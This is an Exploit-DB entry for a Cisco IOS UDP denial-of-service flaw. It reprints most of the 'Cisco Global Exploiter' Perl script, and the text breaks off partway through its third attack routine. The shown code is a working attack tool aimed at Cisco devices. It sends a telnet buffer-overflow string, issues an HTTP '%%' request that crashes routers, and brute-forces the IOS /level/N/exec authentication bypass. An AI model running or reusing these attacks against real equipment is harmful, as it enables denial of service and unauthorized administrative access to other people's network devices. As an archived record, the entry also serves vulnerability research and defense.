Exploit-DB #21028
Description: Cisco IOS 12 - UDP Denial of Service
Type: dos
Platform: hardware
Date: 2001-07-25
Author: blackangels

Exploit:
source: https://www.securityfocus.com/bid/3096/info

A potential denial of service condition may exist in Cisco's IOS firmware.

The problem reportedly occurs when a large number of UDP packets are sent to device running IOS. This causes the system to use all available CPU resources and thus become unresponsive. The device may have to be reset manually if the attack is successful.


#!/usr/bin/perl

##
# Cisco Global Exploiter
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##



##
# Modules
##

use Socket;
use IO::Socket;


##
# Main
##

$host = "";
$expvuln = "";
$host = @ARGV[ 0 ];
$expvuln = @ARGV[ 1 ];

if ($host eq "") {
usage();
}
if ($expvuln eq "") {
usage();
}
if ($expvuln eq "1") {
cisco1();
}
elsif ($expvuln eq "2") {
cisco2();
}
elsif ($expvuln eq "3") {
cisco3();
}
elsif ($expvuln eq "4") {
cisco4();
}
elsif ($expvuln eq "5") {
cisco5();
}
elsif ($expvuln eq "6") {
cisco6();
}
elsif ($expvuln eq "7") {
cisco7();
}
elsif ($expvuln eq "8") {
cisco8();
}
elsif ($expvuln eq "9") {
cisco9();
}
elsif ($expvuln eq "10") {
cisco10();
}
elsif ($expvuln eq "11") {
cisco11();
}
elsif ($expvuln eq "12") {
cisco12();
}
elsif ($expvuln eq "13") {
cisco13();
}
elsif ($expvuln eq "14") {
cisco14();
}
else {
printf "\nInvalid vulnerability number ...\n\n";
exit(1);
}


##
# Functions
##

sub usage
{
  printf "\nUsage :\n";
  printf "perl cge.pl <target> <vulnerability number>\n\n";
  printf "Vulnerabilities list :\n";
  printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
  printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
  printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
  printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
  printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
  printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
  printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
  printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
  printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
  printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
  printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n";
  printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n";
  printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n";
  printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n";
  exit(1);
}

sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
{
  my $serv = $host;
  my $dch = "?????????????????a~ %%%%%XX%%%%%";
  my $num = 30000;
  my $string .= $dch x $num;
  my $shc="\015\012";

  my $sockd = IO::Socket::INET->new (
                                     Proto => "tcp",
                                     PeerAddr => $serv,
                                     PeerPort => "(23)",
                                     ) || die("No telnet server detected on $serv ...\n\n");

  $sockd->autoflush(1);
  print $sockd "$string". $shc;
  while (<$sockd>){ print }
  print("\nPacket sent ...\n");
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto => "tcp",
                                      PeerAddr => $serv,
                                      PeerPort => "(23)",
                                      ) || die("Vulnerability successful exploited. Target server is down ...\n\n");

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
{
  my $serv = $host;

  my $sockd = IO::Socket::INET->new (
                                     Proto=>"tcp",
                                     PeerAddr=>$serv,
                                     PeerPort=>"http(80)",);
                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};
  $sockd->autoflush(1);
  print $sockd "GET /\%\% HTTP/1.0\n\n";
  -close $sockd;
  print "Packet sent ...\n";
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"http(80)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
  my $serv= $host;
  my $n=16;
  my $port=80;
  my $target = inet_aton($serv);
  my $fg = 0;

  LAB: while ($n<100) {
  my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  $n++;
  foreach $line (@results){
          $line=~ tr/A-Z/a-z/;
          if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
          if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
  }

  if ($fg==1) {
               sleep(2);
               print "Vulnerability unsuccessful exploited ...\n\n";
              }
  else {
        sleep(2);
        print "\nVulnerability successful exploited with [http://$serv/level/$n/exec/....] ...\n\n";
        last LAB;
       }

  sub exploit {
               my ($pstr)=@_;
               socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
               die("Unable to initialize socket ...\n\n");
               if(connect(S,pack "SnA4x8",2,$port,$target)){